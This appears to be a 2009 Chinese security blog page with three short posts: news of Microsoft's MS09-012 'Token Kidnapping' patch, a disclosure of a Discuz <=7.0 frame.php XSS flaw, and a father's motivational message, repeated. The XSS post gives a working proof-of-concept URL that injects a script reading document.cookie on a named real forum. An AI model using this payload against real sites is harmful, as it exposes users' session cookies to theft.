[MS09-012]Token Kidnapping 安全补丁(KB956572)
作者:ZhaoHuAn 日期:2009-04-20
去年win下最流行的一个本地提权的漏洞微软终于放出补丁了。。
http://www.microsoft.com/downloads/details.aspx?familyid=73D2324F-BE59-4B0C-B1AC-9876A13C2C03&displaylang=zh-cn
http://www.microsoft.com/downloads/details.aspx?familyid=73D2324F-BE59-4B0C-B1AC-9876A13C2C03&displaylang=zh-cn
Discuz <=7.0(frame.php) xss Vulnerability
作者:ZhaoHuAn 日期:2009-04-18
前段时间做风险评估的时候发现的，这个xss 需要在开启了左右分栏的情况下才可以触发。
PoC：
程序代码
----->
跳转到了
程序代码
PoC：
程序代码http://bbs.cctv.com/index.php?gid=24"></iframe><script>alert(document.cookie)</script>
----->
跳转到了
程序代码http://bbs.cctv.com/frame.php?frameon=yes&referer=http%3A//bbs.cctv.com/index.php%3Fgid%3D24%22%3E%3C/iframe%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E
摘一下老爸发的留言。
作者:ZhaoHuAn 日期:2009-04-09
(2009-04-09 20:55:21) 关耳
人的一生怎样都可以度过，默默无闻的是一生，煊煊赫赫的也是一生。但为人者总要对生命负责。伟大、英雄未必人人能够，但总得建功立德，总要活出人的尊严。有本事要靠本事，没本事也要有德行。生命可以承受无边的苦难，但承受不了无足轻重；生命可以承受贫病交加，但承受不了同类的冷落；生命可以承受挫折失败，但承受不了尊严的失缺；生命也可以承受忍辱负重，但它承受不了永无成功的荣耀。一个人在百年之内总得为自己的生命挣得一点自豪与骄傲，也应该在自己力所能及的层级上，为生命挣下一两次可以在众人之中君临端坐的首席之位。即使生命对此并无奢求，也要有一点点创造，有一点点作为，来证明自己曾在这个世界上活过。
人的一生怎样都可以度过，默默无闻的是一生，煊煊赫赫的也是一生。但为人者总要对生命负责。伟大、英雄未必人人能够，但总得建功立德，总要活出人的尊严。有本事要靠本事，没本事也要有德行。生命可以承受无边的苦难，但承受不了无足轻重；生命可以承受贫病交加，但承受不了同类的冷落；生命可以承受挫折失败，但承受不了尊严的失缺；生命也可以承受忍辱负重，但它承受不了永无成功的荣耀。一个人在百年之内总得为自己的生命挣得一点自豪与骄傲，也应该在自己力所能及的层级上，为生命挣下一两次可以在众人之中君临端坐的首席之位。即使生命对此并无奢求，也要有一点点创造，有一点点作为，来证明自己曾在这个世界上活过。
